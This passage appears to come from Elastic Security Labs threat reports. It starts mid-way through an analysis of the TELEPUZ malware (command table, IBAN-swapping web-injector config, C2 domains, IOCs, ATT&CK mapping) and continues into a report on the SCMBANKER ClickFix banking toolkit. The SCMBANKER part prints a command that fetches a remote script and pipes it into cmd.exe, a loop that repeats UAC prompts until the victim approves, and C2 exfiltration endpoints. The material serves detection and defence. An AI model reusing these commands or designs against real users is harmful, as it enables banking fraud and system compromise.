| Hash | Command | | :---- | :---- | | 0x7C82BBEB | Beacon | | 0x94822A12 | CreateZip | | 0x98712C1C | Delete | | 0x92D09E05 | DownloadFile | | 0x3098F2D8 | DownloadLoadMalwareModule | | 0xACD43E91, 0x0D9B6199 | DownloadRunPE | | 0xFF55DC66 | DownloadRunModule | | 0x1084A429 | DownloadStartKeyLogger | | 0xCA4A8C1D | DownloadStartStealer | | 0x7117B24A | DownloadStartWebInjectModule | | 0x4C9F6E6F | ElevateToAdmin | | 0x037825F6 | ElevateToSystem | | 0x99C81E9A | EnumerateDriveInfo | | 0x69224E1A | ExecuteCommand | | 0xF6E8CE40 | ExtractChromeCookiesUsingDownloadedChromeElevator | | 0x2D858A03 | GetCurrentTokenStatus | | 0xDE853911 | GetKeyLoggerStatus | | 0x82E18E66 | GetPathsInfo | | 0xA823945A | InjectShellcode | | 0x323BE80B | KeyLoggerEnableDisableFormFlush | | 0x7C8B2DA7 | Kill | | 0xA5BD70FF | KillJob | | 0xA5BAAA7F | ListJobs | | 0x005974C6 | ListRunningProcesses | | 0x0059735A | Ls | | 0x8BC0E38D | MaybePrivescDisabled | | 0x7F593804 | MigrateIntoProcess | | 0xBCDE59A3 | RevertToken | | 0xA6EC9549 | Screenshot | | 0x77E0A2E7 | SetBeaconInterval | | 0xDED585EE | StealProcessToken | | 0xF4040E98 | StopMalwareModule | | 0xB14E7AF4 | UpdateMalware | | 0xB152C246 | Upload | | 0xB70B7E99 | WriteToWebInjectModulePipe |

To maintain a lightweight footprint, TELEPUZ downloads additional functional modules from its C2 server, such as stealer, keylogger, web injector, and cookie extraction modules for Chromium-based browsers.
Operators can specify a custom URI, though commands default to pre-configured values. For example, the ExtractChromeCookiesUsingDownloadedChromeElevator command retrieves a compiled binary of the Chrome-App-Bound-Encryption-Decryption project, defaulting to the path /static/assets/chromeelevator.bin.

The table below describes these default module URIs, they appear to be consistent across samples.

| Module | Path | | :---- | :---- | | KeyLogger | /static/modules/kMP6HBGEA8.bin | | WebInjector | /static/modules/yaVaoS3Bw.bin | | Stealer | /static/modules/W2UMxylgG\_.bin | | ChromeCookie extractor | /static/assets/chromelevator.bin |

The WebInjector module is a PE executable that communicates with TELEPUZ via standard I/O handles (STDIN, STDOUT, STDERR). TELEPUZ transmits its configuration in JSON format to the module via STDIN. The following is an LLM-reconstructed version based on the identified fields.

{
  "wait_idle": "bool, default true",
  "idle_timeout_sec": "int, default 15",
  "auto_forward_timeout_ms": "int, default 30000",
  "probe_port_start": "int, default 9222",
  "probe_port_end": "int, default 9229",
  "force_kill_browser": "bool, default false",
  "attach_all_tabs": "bool, default true",
  "debug_reports": "bool, default true",
  "intercept_hold": "bool, default false",
  "attach_only": "bool, default false",
  "browser": "string[16], default 'chrome'",
  "c2_host": "string[256]",
  "c2_port": "int, default 0",
  "c2_ssl": "bool, default false",
  "bot_id": "string[64]",
  "sdk": "string[65536]",
  "intercept_filter": "string[256]",
  "targets": [
    {
      "url_match": "string[256]",
      "name": "string[64]"
    }
  ],
  "actions": [
    {
      "id": "string[64]",
      "type": "string[32]",
      "trigger": "string[32]",
      "trigger_url": "string[256]",
      "template": "string[32768]",
      "template_b64": "string[32768], base64 decoded into template",
      "grab_fields": "string[1024]",
      "delay_ms": "int, default 0",
      "once": "bool, default false",
      "request_stage": "bool, default true (swap_fields only)",
      "response_stage": "bool, default true (swap_fields only)",
      "fields": {
        "iban": "string[64]",
        "amount_max": "int, default 0",
        "field_name": "string[32], default 'iban'",
        "amount_field": "string[32], default 'amount'"
      },
      "response_filter": {
        "remove_where_iban": "string[64]"
      }
    }
  ]
}

The module can connect directly to the C2 via WebSocket on the URI /ws/inject?cid= if the connection information is provided in the configuration, allowing it to receive and execute commands directly. Otherwise, it relies on TELEPUZ as a middleman, using the WriteToWebInjectModulePipe command for communication. The module operates on Chromium-based browsers and Firefox. These commands allow the operator to control the injector, manage rules, steal cookies, execute JavaScript, and enable interception capabilities.

Despite its name, the WebInjector module does not need to inject into or hook the browser. Instead, it interacts with Chromium-based browsers using the Chrome DevTools Protocol (CDP), which exposes APIs for browser interaction. The Firefox equivalent is the WebDriver BiDi protocol. Based on the configuration, the module can intercept webpages at various stages to execute its “actions.” Default values appear centered on swapping form fields containing financial information, such as the IBAN.

TELEPUZ offers several methods for executing code. The DownloadRunPE command downloads a PE executable from a specified URL, creates a dllhost.exe process, with optional elevated privileges, and performs process hollowing with the downloaded PE. Optionally, it can also hollow its own process. The DownloadRunModule command is similar but retrieves the PE from the C2 using a provided path and tracks up to eight modules in a management table. The DownloadLoadMalwareModule command differs slightly: it loads a malware-compatible DLL with known exports, likely to add features or perform additional tasks.

Interestingly the shellcode process injection command is not yet implemented and currently returns INJECT:TODO:pid=%u:shellcode_len=%u, confirming that the malware is still in active development. Finally, the GetPathsInfo command provides detailed information about the malware's current installation.

PATHINFO:{"running_from":"C:\\Users\\Lab\\Desktop\\telepuz.dll","in_temp":false,"install_path":"C:\\ProgramData\\XeroxPrint\\Temp\\Worker\\grpeng.dll","install_exists":true,"stager_path":"C:\\Users\\Lab\\AppData\\Roaming\\D3DSCache\\amd64\\SvcValidator.dll","stager_exists":false,"persist_dir":"DCFG\\Runtime\\Themes\\Processor","persist_name":"etwhost.dll","marker_key":"Software\\Microsoft\\VisualStudio\\Telemetry","service_exists":true,"service_name":"CipherAllocator","host_process":"rundll32.exe","host_pid":5568}

TELEPUZ campaign timeline and C2 infrastructure

The first TELEPUZ sample was submitted on May 2, 2026. Since then, we have observed regular submissions of new builds, with a steady increase in binary size, and since early June, a significant spike in volume, confirming the campaign's high activity. However, dates from the Telegram channel and the Polygon smart contract indicate that activity began around April 27–29.

The download URLs typically follow the pattern /files/telemetriawork/telepuz.dll. However, variations exist, such as telemetry/network/telepuz.dll or /files/telemetrywork/telepuz. Interestingly, some early versions retained the /file/ structure but randomized the remainder of the path, for example, /files/xK7mR9pL2nQw5tY8/ygvfuyze.dll. The complete list is available in the IOCs chapter.

Although numerous domains host the malware's stages and main payload, C2 infrastructure is notably more limited. We have identified two primary domains: cal.joycedoula[.]com[.]br, which has been present in configurations since the earliest VirusTotal samples, and cal.snehamumbai[.]org, discovered through fallback methods. Interestingly, both utilize a 'cal.*' subdomain and appear to be legitimate websites compromised by the actor. Based on configuration history and fallback resolution, these domains constitute the core C2 infrastructure, distinct from the payload hosting locations. Their limited number suggests that what we think is a MaaS is still in its early stages, despite the high volume of builds generated. While the staging domains are protected by Cloudflare, concealing their true hosting locations, the C2 servers have been identified as compromised websites located in Brazil and India, respectively.

TELEPUZ indicators of compromise

The table below lists the staging domain and URLs for the second and third stages:

| Domain | First Seen | URL | | :---- | :---- | :---- | | chubrik\[.\]sbs | 2026-05-09 | hxxps://chubrik\[.\]sbs/files/xK7mR9pL2nQw5tY8/ygvfuyze.dll | | betalegenda\[.\]cfd | 2026-05-14 | hxxps://betalegenda\[.\]cfd/files/xK7mR9pL2nQw5tY8/kmwvogwx.dll | | mavpaprokla\[.\]lat | 2026-05-19 | hxxps://mavpaprokla\[.\]lat/files/telemetriawork/telepuz.dll | | comicstar\[.\]lat | 2026-05-26 | hxxps://comicstar\[.\]lat/files/telemetriawork/telepuz.dll | | bigblower\[.\]click | 2026-05-28 | hxxps://bigblower\[.\]click/files/telemetriawork/telepuz.dll | | momasites\[.\]lol | 2026-06-05 | hxxps://momasites\[.\]lol/files/telemetriawork/telepuz.dll | | momasites\[.\]com | 2026-06-07 | hxxps://momasites\[.\]com/files/telemetrywork/telepuz | | mamsites\[.\]lol | 2026-06-07 | hxxps://mamsites\[.\]lol/files/telemetrywork/telepuz.dll | | hardenedom\[.\]shop | 2026-06-07 | hxxps://hardenedom\[.\]shop/files/telemetriawork/telepuz.dll | | hardendedom\[.\]shop | 2026-06-07 | hxxps://hardendedom\[.\]shop/files/lemetriawork/epuz.dll | | hardendom\[.\]shop | 2026-06-08 | hxxps://hardendom\[.\]shop/files/telemetry/telepuz.dll | | hardeneddom\[.\]shop | 2026-06-10 | hxxps://hardeneddom\[.\]shop/files/telemetrywork/telepuz | | netblokirovka\[.\]asia | 2026-06-11 | hxxps://netblokirovka\[.\]asia/files/telemetriawork/telepuz.dll | | netblokir\[.\]asia | 2026-06-12 | hxxps://netblokir\[.\]asia/files/telemetriawork/telepuz.dll | | netlobikrovka\[.\]asia | 2026-06-14 | hxxps://netlobikrovka\[.\]asia/files/telemetriawork/telepuz.dll | | neblokirovka\[.\]as | 2026-06-15 | hxxps://neblokirovka\[.\]as/telemetry/network/telepuz.dll | | kidsko\[.\]shop | 2026-06-17 | hxxps://kidsko\[.\]shop/files/telemetriawork/telepuz.dll | | mazaporka\[.\]shop | 2026-06-22 | hxxps://mazaporka\[.\]shop/files/telemetriawork/telepuz.dll | | 172.67.215[.]214 | 2026-06-24 | hxxps://172.67.215[.]214/files/telemetriawork/telepuz.dll | | hurgadatour\[.\]shop | 2026-06-25 | hxxps://hurgadatour\[.\]shop/files/telemetriawork/telepuz.dll | | krabsburger\[.\]xyz | 2026-06-29 | hxxp://krabsburger\[.\]xyz/files/telemetriawork/telepuz.dll | | zewaplus\[.\]club | 2026-06-30 | hxxps://zewaplus\[.\]club/files/telemetriawork/telepuz.dll | | 172.67.165[.]144 | 2026-07-06 | hxxps://172.67.165[.]144/files/telemetriawork/telepuz.dll |

The table below lists the identified C2 infrastructure domains:

| Domain | Notes | | :---- | :---- | | cal.joycedoula[.]com[.]br | Present in configuration of earliest samples. | | cal.snehamumbai[.]org | Latest C2 |

The table below list analyzed samples and their artifacts:

| Artifact | Type | | :---- | :---- | | 58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed | Reference TELEPUZ main payload | | bf3b4e645a3c0c23f87c55971069014f7424ad14497371ee7567eff68ffaf343 | TELEPUZ main payload | | ff791fe1532a2dc3b3c188a71bfd0177f973ef228e4d1dda1db6d3c4b0d62b3e | TELEPUZ main payload | | a955d7e2819d5fa8b5f879cb970e1a1a91327098a7383f2a03a5e1e7e19435e3 | TELEPUZ keylogger module | | 9733a3f6409de81271f21993c7f8b9865ac9f5c68c3d4336e91afe6b312477eb | TELEPUZ stealer module | | 444f1c0c82b3f6cc31d685bac68b20edbde5722ce219af9cceab0c2a6537efc1 | TELEPUZ webinjector module | | cfgmgr\_mtx | mutex | | bginfod\_mtx | mutex | | wfj64\_mtx | mutex | | %AppData%\\Local\\DCFG\\Runtime\\Themes\\Processor\\etwhost.dll | persistence | | %AppData%\\Roaming\\StateRepository\\Host\\Recovery\\systemreset.dll | persistence | | %AppData%\\Local\\MiravaDevices\\noraxrecovery.dll | persistence | | %ProgramData%\\XeroxPrint\\Temp\\Worker\\grpeng.dll | install | | %ProgramData%\\Jundrax\\Tracker\\IrenScanner.dll | install | | %ProgramData%\\QualcommRF\\dsp\_agent.dll | install | | HKLM\\SYSTEM\\CurrentControlSet\\Services\\CipherAllocator | registry | | HKLM\\SYSTEM\\CurrentControlSet\\Services\\PilotmasterMast | registry |

TELEPUZ MITRE ATT&CK tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action.

• Resource Development
• Initial Access
• Execution
• Persistence
• Privilege Escalation
• Defense Evasion
• Credential Access
• Discovery
• Collection
• Command and Control
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Command and Scripting Interpreter: PowerShell
• Native API
• Shared Modules
• System Services: Service Execution
• Signed Binary Proxy Execution: Rundll32
• Create or Modify System Process: Windows Service
• Modify Registry
• Abuse Elevation Control Mechanism: Bypass User Account Control
• Access Token Manipulation: Token Impersonation/Theft
• Access Token Manipulation: Create Process with Token
• Process Injection: Process Hollowing
• Reflective Code Loading
• Impair Defenses: Indicator Blocking
• Obfuscated Files or Information: Dynamic API Resolution
• Obfuscated Files or Information: Encrypted/Encoded File
• Masquerading: Match Legitimate Name or Location
• Debugger Evasion
• Virtualization/Sandbox Evasion: System Checks
• Virtualization/Sandbox Evasion: Time Based Evasion
• Steal Web Session Cookie
• Credentials from Password Stores
• Input Capture: Keylogging
• Process Discovery
• File and Directory Discovery
• System Information Discovery
• System Owner/User Discovery
• Software Discovery
• System Location Discovery: System Language Discovery
• Screen Capture
• Archive Collected Data: Archive via Library
• Man in the Browser
• Application Layer Protocol: Web Protocols
• Encrypted Channel: Asymmetric Cryptography
• Ingress Tool Transfer
• Web Service: Dead Drop Resolver
• Exfiltration Over C2 Channel
• Indicator Removal: File Deletion

TELEPUZ YARA detection rule

Windows_Trojan_Telepuz.yar

Key takeaways

• REF6045 adapts ClickFix delivery into operator-assisted banking fraud, using fake verification pages to stage a PowerShell toolkit (we’re calling SCMBANKER) on victim machines.
• SCMBANKER gives operators a full fraud workflow: banking-session monitoring, screenshot capture, vishing overlays, phishing redirects, clipboard manipulation, and Remote Utilities installation.
• SCMBANKER heavily targets Mexico’s financial ecosystem, including retail banks, business banking portals, fintechs, payment processors, cryptocurrency exchanges, investment platforms, SAT, and telecom services.
• Operator OPSEC failures, including open directories, a leaked web-root archive, and an unauthenticated file editor, expose the operation’s tooling and targeting logic.
• The scripts are riddled with AI-generated artifacts, indicating that the operator used an LLM to write most of the tooling.

How Elastic Security Labs discovered REF6045

On June 18, 2026, Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts from an open directory at http://68.211.161[.]46/files/. The open directory allowed us to retrieve the individual agent scripts directly, and from the same server, we recovered an archive, zkt.zip, containing the operation's full web root before it was removed.

At the web root of http://68.211.161[.]46/, we found a ClickFix fake-CAPTCHA flow that presented itself as a security verification page. The page first asked the visitor to complete an image challenge, including a Spanish prompt to select fire hydrants, before moving into the familiar Windows Run verification instructions. The command fetches validation.txt from the same web server and pipes it directly into cmd.exe, using the lure text “Google Verificación Segura (Version 2025.5755)”. The page also sends a POST request to a tracking endpoint at https://ww.ssinvestigaciones[.]com/login3.php.

Because navigator.clipboard.writeText() requires a secure, focused browser context to copy the malicious command to the victim's clipboard, the original IP (http://68.211.161[.]46/) was unlikely to be the only victim-facing delivery path. We identified multiple HTTPS ClickFix hosts that reused the same command pattern and pointed victims back to the exposed file servers for validation.txt.

The observed ClickFix and file-server variants are included in the following table. The C2 values were extracted from the PowerShell scripts hosted under each /files open directory.

| ClickFix host | ClickFix validation.txt file source | File host (hosting toolkit) | C2 extracted from hosted PS1 scripts | | :---- | :---- | :---- | :---- | | https://ratonvaquero2026[.]online/ | http://68.211.161[.]46/validation.txt | https://ratonvaquero2026[.]online/files/ | https://negratomasa2026[.]online/dashboard2/recData.php | | https://monteviral2026.duckdns[.]org/ | http://68.211.161[.]46/validation.txt | https://monteviral2026.duckdns[.]org/files/ | https://gestionmontelavaria2026[.]online/dashboard2/recData.php | | https://osogransd[.]online/ | http://216.250.112[.]100/validation.txt | https://osogransd[.]online/files/ | http://185.242.246[.]169/dashboard2/recData.php |

SCMBANKER's execution chain

The initial infection chain described below uses the monteviral2026.duckdns[.]org ClickFix page as an example, but the observed variants follow the same pattern: they present a CAPTCHA-style verification page, including an image challenge, before copying a command to the clipboard and instructing the victim to run it from the Windows Run dialog.

Below is an example command line:

cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit #                                                     CIoudfIare            Google Verificación Segura (Version 2025.5755)

Decoy strings CIoudfIare with capital-I homoglyphs, and the Google Verificación Segura version text are reproduced verbatim.

Despite the .txt extension, it is a Windows batch script that prepares the host and sets up the full toolkit in six different stages.

Fake update smokescreen

The batch script immediately launches Microsoft Edge in kiosk mode pointing to fakeupdate[.]net, a well-known pentesting/red team site that renders a fake Windows Update screen. This distraction buys time for the script to fully execute.

start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen

UAC consent fatigue loop

Next, the malware checks if it is running as admin via net session. If it is not elevated, it shows a social-engineered message "Windows: Se requieren permisos de administrador para actualizar su sistema…" (Administrator permissions are required to update your system…), and relaunches itself with -Verb RunAs every 20 seconds, frustrating and forcing the victim to click “Yes” on the UAC consent prompt.

:check
net session >nul 2>&1
if %errorlevel%==0 goto admin
echo Windows: Se requieren permisos de administrador para actualizar su sistema...
powershell -Command "Start-Process '%~f0' -Verb RunAs"
timeout /t 20 >nul
goto check

Cursor trap

Once elevated, an inline PowerShell P/Invoke call to user32.dll!ClipCursor confines the mouse to a single 1x1 pixel rectangle at the screen center, locking any mouse movement. This is paired with the fake Windows Update screen to encourage the victim to stay idle, giving time for the malware to download the full toolset in the background without interruption.

Downloading the SCMBANKER toolkit via bitsadmin

All malicious scripts, files, and binaries are pulled individually via bitsadmin from http://68.211.161[.]46/files/ to C:\Users\Public\.

SCMBANKER's persistence: registry Run key and startup folder

Two persistence mechanisms launched by C:\Users\Public\run.vbs on logon, plus a one-shot infection marker:

• Run key: HKCU\...\Run, value "run", runs hidden PowerShell launching run.vbs.
• Startup folder: run.vbs dropped to three path variants (%APPDATA%, %USERPROFILE%\AppData\Roaming, and the legacy XP %USERPROFILE%\Start Menu).
• RunOnce timestamp: value "id" writes %date% %time% to C:\Users\Public\id.txt once on next logon, then self-deletes.

Forcing a reboot to trigger persistence

The script sends an F11 keypress to exit fullscreen, followed by a Ctrl+W keypress sequence to close the fake Windows Update tab. However, this approach only works in a standard fullscreen browser window, not in kiosk mode. It then forces a reboot with the shutdown /r /t 02 command. Upon restart, the previous persistence mechanism via the Registry Run key triggers execution of the VBScript file (run.vbs).

The SCMBANKER toolkit

run.vbs: SCMBANKER's master launcher

The VBScript (run.vbs) is the master launcher. It uses WScript.Shell.Run with a hidden window style and Invoke-Expression to start the toolkit's modules in parallel:

run.vbs launches the following modules:

| Script | Role | | ----- | ----- | | rotor2.ps1 | Long-running process-mutation rotator for mensaje1.ps1 (vishing module) | | ini.ps1 | Delayed launcher for jujuzkt.ps1 (banking activity monitor) | | remo.ps1 | IP-gated launcher for jujuzkt2.ps1 (phishing redirect module) | | edifhjwe.ps1 | Toolkit updater | | cliente.ps1 | C2 beacon / implant control channel | | avs.ps1 | Remote Utilities RAT installer downloader | | clip.ps1 / clip2.ps1 | CLABE and card-number clipboard hijackers | | correr.ps1 | Arbitrary PowerShell executor | | cursor2.exe | Invisible-cursor utility (compiled AutoIt). Replaces every system cursor type with an invisible cursor at C:\Users\Public\invi.cur |

Pivoting in VirusTotal, we discovered earlier versions of the toolkit components, suggesting the tooling has been in use since at least October 2025 and has been iterated on for several months.

C2 beacon and victim management

Every 30 seconds, cliente.ps1 collects a machine profile and performs an HTTP POST request to https://negratomasa2026[.]online/dashboard2/recData.php:

The following table represents this request data and its associated fields:

| Field | Source | Purpose | | ----- | ----- | ----- | | machine_name | $env:COMPUTERNAME | Victim identification | | client_id | GUID in client_id.txt | Unique implant ID (persists across reboots) | | ip_local | Get-NetIPAddress | Internal network recon | | ip_public | api.ipify.org | External IP for geolocation and targeting | | comentario | comentario.txt | Operator's notes/label for this victim | | idInternet | id.txt | Infection timestamp | | remoto | agent.txt | RAT installation status (default: SIN REMOTO AUN) | | comando | comando.txt | Last command received | | optUpdate | hardcoded “update” | Meant to flag whether the remote tool is installed, but it's overridden to always say "update" (likely debugging leftover) | | timestamp | Unix epoch | Beacon time |

The C2 response contains two operator-controlled fields.

The data from the comentario field is saved to comentario.txt and stores the operator’s label or notes for the victim.

The data from the comando field is saved to comando.txt. Other modules poll that file for operator instructions:

• avs.ps1 handles MSI URLs.
• edifhjwe.ps1 handles ZIP update packages.
• correr.ps1 handles PowerShell-prefixed execution requests.

The following image shows the server response parsing logic.

Banking activity monitor

The primary banking activity monitor is a PowerShell script (jujuzkt.ps1), but it also has optional active branches:

• URL injection when a configured target has a redirect URL, and
• a commented-out keylogger rotator path via rotor.ps1.

After a short startup delay, invoked by ini.ps1, the banking monitor script refreshes three configuration files every five minutes.

| Remote URL | Local File | Content | | ----- | ----- | ----- | | https://negratomasa2026[.]online/a/teleavisos.txt | config1.txt | Arbitrary PowerShell executed via Invoke-Expression | | https://negratomasa2026[.]online/b/listadebancos.txt | config2.txt | Window title keywords (bank names + optional redirection target, *-delimited) | | https://negratomasa2026[.]online/b/keysnegativas.txt | config_negative.txt | Negative keywords to filter out false matches when scanning opened windows |

Once running, the banking activity monitor checks all visible window titles every second. A match (full list here) against any listed bank, fintech, payment processor, crypto exchange, brokerage, SAT, or telecom keywords causes the implant to POST an alert to https://negratomasa2026[.]online/dashboard2/avisos2.php in the following format:

mensaje = "<window title>
Detected C0incidence: '<keyword>'
Version: V.1.0.1
10:03 p. m. 08/12/2025
Nombre de PC: <hostname>
Cliente desde: <id>
Client ID: <clientId>
IP: <public_ip>
Navegador: <process_name>
<current timestamp>"
clientId = <clientId>

A banking match also starts the screenshot workflow through the toolkit’s rotator pattern. The rotor scripts act as short-lived wrappers: they copy a target script into %TEMP% under Windows-like process names, execute the copy, and repeat for a set period. In this case, rotor1.ps1 repeatedly spawns screen2.ps1 every 7 seconds for 5 minutes, producing about 42 screenshots per trigger. Each screen2.ps1 run captures the full virtual desktop, compresses the image under 10 MB, and uploads it to https://negratomasa2026[.]online/dashboard2/imagenes.php.

SCMBANKER's keylogging module

jujuzkt.ps1 also contains a commented-out path to launch rotor.ps1, a short-lived rotator for key.ps1. While the banking monitor path launches rotor1.ps1 for screenshots, the presence of rotor.ps1 and key.ps1 shows an additional keylogging capability in the toolkit. rotor.ps1 applies the same rotator pattern to C:\Users\Public\key.ps1.

This PowerShell script (key.ps1) fetches Telegram bot credentials from https://negratomasa2026[.]online/a/telekeylogger.txt via Invoke-Expression, but never references them after assignment. The only exfiltration path in the script is an HTTP POST to https://negratomasa2026[.]online/dashboard2/logs.php with the client ID and hostname. The Telegram configuration may be leftover code from an earlier version.

The vishing engine: turning infections into live phone scams

The vishing engine is what turns a commodity-looking PowerShell bundle into an operator-assisted fraud workflow. rotor2.ps1 applies the rotator pattern to mensaje1.ps1, keeping the dispatcher alive under changing Windows-like filenames.

When mensaje1.ps1 is launched, every 10 seconds it fetches https://negratomasa2026[.]online/b/<redacted>.txt, where each line has the format <IP>*<URL>, mapping a victim public IP address to a vishing page URL. If the victim’s public IP appears in that list, the dispatcher launches a vishing lock-screen module and records the child process ID so it can later release the victim when the IP is removed.

The operator can choose between two overlay behaviors.

• mensaje.ps1 creates a borderless, topmost WebBrowser window, confines the mouse to the form, and uses a 200 ms timer to bring the overlay back to the foreground if the victim clicks away.
• mensajeoff.ps1 uses a more normal-looking window that cannot be closed and automatically undoes every attempt to dismiss, move, resize, or minimize it. Triggered when the URL ends with ?off.